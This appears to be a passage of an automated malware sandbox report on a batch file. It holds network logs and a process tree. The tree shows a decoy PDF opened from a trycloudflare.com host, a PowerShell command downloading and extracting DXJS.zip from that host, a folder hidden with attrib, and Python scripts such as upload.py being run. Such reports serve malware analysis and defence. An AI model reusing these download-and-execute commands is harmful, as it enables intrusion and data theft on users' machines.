2024-10-26 11:45:37 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49889	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-16849878b78z2wx67pvzz63kdg00000000fg000000006t4c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49890	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: c9277d07-501e-0047-62ae-24ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-15b8d89586fqj7k5h9gbd8vs980000000360000000002sdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49891	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bdc34fbf-001e-0017-613b-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-17c5cb586f6hhlf5mrwgq3erx80000000310000000005w3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49892	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:37 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:37 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:37 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 7f9b0e41-501e-0047-71a3-26ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114537Z-16849878b786fl7gm2qg4r5y70000000025g00000000c56w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:37 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49893	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: b9eac892-301e-0020-6af5-256299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-r197bdfb6b4wmcgqdschtyp7yg00000001r000000000b56t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49894	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: b2907cd8-f01e-0096-39f3-2610ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b78bcpfn2qf7sm6hsn00000003m00000000071n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49895	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2073a42b-101e-0065-1a58-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b78j5kdg3dndgqw0vg00000003sg000000002mks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49896	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:38 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:38 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:38 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 5341911e-801e-007b-42f5-25e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114538Z-16849878b78fssff8btnns3b14000000026g00000000ax0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:38 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Target ID:	0
Start time:	07:44:13
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" "
Imagebase:	0x7ff7667f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:44:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:44:14
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	07:44:14
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff6f87b0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:44:14
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:44:14
Start date:	26/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:44:14
Start date:	26/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,12952766583181054471,15823528820358115948,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:44:22
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:44:25
Start date:	26/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
Imagebase:	0x7ff6f87b0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:44:25
Start date:	26/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h "C:\Users\user\Downloads\Python"
Imagebase:	0x7ff7f8f30000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:44:25
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe money.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:44:25
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe moment.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:44:26
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe update.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:44:26
Start date:	26/10/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe upload.py
Imagebase:	0x7ff6b4d60000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
